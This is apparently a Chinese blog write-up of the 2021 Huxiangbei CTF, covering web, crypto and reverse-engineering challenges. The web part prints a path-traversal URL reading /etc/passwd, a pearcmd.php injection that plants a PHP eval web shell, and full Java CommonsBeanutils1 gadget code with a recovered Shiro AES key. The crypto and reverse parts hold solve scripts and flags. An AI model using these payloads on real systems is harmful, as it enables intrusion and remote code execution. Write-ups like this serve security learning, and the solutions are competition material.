2021湖湘杯

Web
easywill
发现这里可以进行本地文件包含
http://eci-2zec2ffu8ckzf4ciogou.cloudeci1.ichunqiu.com/?name=cfile&value=…/…/…/…/…/…/etc/passwd
在这里插入图片描述参考下面链接的pearcmd.php的巧妙利用
https://tttang.com/archive/1312/
构造payload
?name=cfile&+config-create+/&value=…/…/…/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[‘cjm’]);?>+/tmp/hello.php
bp抓包
在这里插入图片描述蚁剑连接
在这里插入图片描述在这里插入图片描述Pentest in Autumn
一开始没啥思路,pom里面倒是给了提示
spring框架和一个shiro,但版本1.5太新了,扫目录扫到actuator泄露。之后找到这篇文章
https://www.cnblogs.com/icez/p/Actuator_heapdump_exploit.html
shiro未授权下载heapdump,访问/;/actuator/heapdump
获得密钥
在这里插入图片描述
在这里插入图片描述import base64 import struct a=base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb',-115,63,-122,-95,-62,-17,83,49,-93,-50,75,80,-66,-39,45,-56)) print(a)

得到密钥之后参考cb1打shiro,
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}
public class ShiroAttack {
    public static void main(String[] args) throws Exception{
        byte[] code = ClassPool.getDefault().get("com.exp.springecho").toBytecode();
        byte[] payloads = cbshiro.getPayload(code);
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("jT+GocLvUzGjzktQvtktyA==");
        ByteSource ciphertext = aes.encrypt(payloads,key);
        System.out.println(ciphertext.toString());
    }
}

把密钥放进去编码出payload
之后尝试弹shell没成功,题目可能不出网,因为spring框架,用spring通用回显
https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
在这里插入图片描述
Crypto

from Crypto.Util.number import *
import gmpy2


def continuedFra(x, y):#辗转相除求连分数
    cF = []
    while y != 0:
        cF.append(x // y)
        x, y = y, x % y
    return cF

def calc_cF(list):
    list.reverse()
    fenmu = 0
    fenzi = 1
    for i in list:
        fenmu,fenzi = fenzi,fenzi * i + fenmu
    return fenmu,fenzi

def exp(x,y):
    ans = continuedFra(x,y)
    fm = []
    fz = []
    l = len(ans)
    for i in range(l):
        m,z = calc_cF(ans)
        ans.reverse()
        fm.append(m)
        fz.append(z)
        ans = ans[:-1]
    return fm,fz


n1 = 1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
n2 = 1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
e = 0x10001
c1 = 361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2 = 33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394
q2,q1 = exp(n1,n2)
for i in range(len(q2)):
    _q2 = q2[i]
    _q1 = q1[i]
    if n2 % _q2 == 0 and n1 % _q1 == 0 and _q1 != 1 and _q2 != 1 and _q1 != n1 and _q2 != n2:
        print(_q1,_q2)
        break

_q1 = 181856133933383097933223133658050179553
_q2 = 196443958511498599913330690975430421229
p1 = n1 // _q1
p2 = n2 // _q2
p1 = gmpy2.iroot(p1,4)[0]
p2 = gmpy2.iroot(p2,4)[0]
n1 = p1 * _q1
n2 = p2 * _q2
phi1 = (p1 - 1) * (_q1 - 1)
phi2 = (p2 - 1) * (_q2 - 1)
d1 = gmpy2.invert(e,phi1)
d2 = gmpy2.invert(e,phi2)
m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)
print(long_to_bytes(m1) + long_to_bytes(m2))

第2个

from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES
from pwn import *

HOST = "127.0.0.1"
PORT = "9999"
p = remote(HOST, PORT)
e1, e2 = 65537, 92431

def unBitShiftRightXor(value, shift):
    i = 0
    while i * shift < 32:
        part_mask =  ((0xffffffff << (32 - shift)) & 0xffffffff) >> (i * shift)
        part = value & part_mask
        value ^= part >> shift
        i += 1
    return value

def unBitShiftLeftXor(value, shift, mask):
    i = 0
    while i * shift < 32:
        part_mask = ((0xffffffff >> (32 - shift)) & 0xffffffff) << (i * shift)
        part = value & part_mask
        value ^= (part << shift) & mask
        i += 1
    return value

def getState(number):
    number = unBitShiftRightXor(number, 18)
    number = unBitShiftLeftXor(number, 15, 0xefc60000)
    number = unBitShiftLeftXor(number, 7, 0x9d2c5680)
    number = unBitShiftRightXor(number, 11)
    return number

def backtrace(numbers):
    assert(len(numbers) == 624)
    state = []
    for number in numbers:
        state.append(getState(number))
    return state

def getOldStates(states):
    for i in range(3, -1, -1):
        tmp = states[i + 624] ^ states[i + 397]
        if tmp & 0x80000000 == 0x80000000:
            tmp ^= 0x9908b0df
        res = (tmp & 0x40000000) << 1

        tmp = states[i - 1 + 624] ^ states[i + 396]
        if tmp & 0x80000000 == 0x80000000:
            tmp ^= 0x9908b0df
            res |= 1
        res |= (tmp & 0x3fffffff) << 1
        states[i] = res

def next(states, i):
    y = (states[i] & 0x80000000) + (states[(i+1) % 624] & 0x7FFFFFFF)
    n = 0x9908b0df if y & 1 else 0
    res = states[(i+397) % 624] ^ (y >> 1) ^ n
    return res

def xor(x, y):
    assert y.bit_length() >= 128
    return (x ^ y) ^ (x >> 53)

p.recvuntil(b"Your pubkey is: ")
n = int(p.recvline().decode().strip().replace('L', '')[2:], 16)

outputs = []
for _ in range(78):
    p.sendlineafter(b'choice>', b'1')
    p.recvline()
    p.sendline(hex(pow(10000, e1*e2, n))[2:].encode())
    p.recvuntil(b"Your message is (")
    message = p.recvline().decode().strip()[:-2].split("L, ")
    ListM0, ListM1 = list(), list()
    m0 = int(message[0])^pow(10000, e2, n)
    for i in range(4):
        ListM0.append(m0&((1<<32)-1))
        m0 >>= 32
    ListM0.reverse()
    m1 = int(message[1])^pow(10000, e1, n)
    for i in range(4):
        ListM1.append(m1&((1<<32)-1))
        m1 >>= 32
    ListM1.reverse()
    outputs = outputs + ListM0 + ListM1

states = [0]*4 + backtrace(outputs)
getOldStates(states)
random.setstate(tuple([3, tuple(states[:624] + [0]), None]))
primate_key = random.getrandbits(128)

[random.getrandbits(32) for i in range(624)]

p.sendlineafter(b'choice>', b'3')
p.recvline()
p.sendline(hex(pow(10000, e1, n))[2:].encode())
p.recvuntil(b"Your cipher is: ")
ciphertext = p.recvline().decode().strip()

t = (pow(pow(10000, e1, n), e1, n), pow(pow(10000, e1, n), e2, n))
cur_rand = random.getrandbits(128)
cur_k = t[cur_rand & 1] ^ cur_rand
key = sha256(long_to_bytes(xor(primate_key, cur_k))).digest()[:16]
aes = AES.new(key, AES.MODE_ECB)
print(aes.decrypt(bytes.fromhex(ciphertext)))
p.close()

Reverse
1、 Hideit
IDA载入,main函数:
在这里插入图片描述真正的内容在程序自带的一段硬编码当中,动调:
在这里插入图片描述
找到真正的函数逻辑,将附近涉及到的汇编码dump下来:
IDA载入,定位到刚才的函数:
在这里插入图片描述发现程序对输入进行xxtea加密:
进行解密:
在这里插入图片描述dotitsit
在这里插入图片描述通过比较:
在这里插入图片描述在这里插入图片描述将两处的数据逐位进行异或得flag:

c1 = [0x8D,0xE2,0x3D,0xC2,0x19,0xF2,0x2D,0xCA,0x18,0x14,0xCF,0x52,0x77,0x5A,0x9C,0x13,
      0xAA,0xCC,0x04,0x5B,0x92,0xC1,0x0C,0x68,0x45,0x58,0xF9,0x47,0x68,0xD9,0x35,0xC5]
c2 = [0xEB,0x8E,0x5C,0xA5,0x62,0xB4,0x1C,0x84,0x5C,0x59,0xFC,0x0D,0x43,0x3C,0xAB,0x20,
      0xD8,0x93,0x33,0x13,0xA1,0x9E,0x39,0x00,0x76,0x14,0xB5,0x04,0x58,0x9D,0x06,0xB8]

for i in range(32):
    print(chr(c1[i]^c2[i]),end="")
print()
# flag{F1NDM3_4f73r_7H3_5h3LLC0D3}

2、 shell
IDA载入,看了一下main函数,又是一个自己调试自己的玩意儿。
在这里插入图片描述开始巴拉巴拉一堆,后面设置好线程的上下文后唤醒线程:
在这里插入图片描述摸了一圈,输入应该和sub_140001560里的东西有关
在这里插入图片描述后面就是动调,把程序断在设置线程上下文这里,根据Rip用CE附加shell的子进程去寻找对应的算法和校验:
在这里插入图片描述这个是算法的,简单位运算:
后面根据wrong字符串找到比较的地方:
在这里插入图片描述
dump出数据:

dd = []
for k in "1E 15 1B 1C 07 4D 1F 1B 12 17 4B 44 47 58 12 47 58 58 47 5F 54 54 58 42 59 57 50 01 49 51 53 57 3D 6B 3E 6F 3D 6D 6C 3E 69 2C".split(" "):
    dd.append(eval("0x"+k))
print(len(dd),dd)
for i in range(42):
    for j in range(256):
        D = j
        C = i
        B = (C&D)^0xFF
        F = (D&B)^0xFF
        E = (C&B)^0xFF
        vb = (E&F)^0xFF
        if vb == dd[i]:
            print(chr(j^0x78),end="")
# flag{0adbf973-d001-4896-962b-450e2d4a02a9}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

g1ory.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值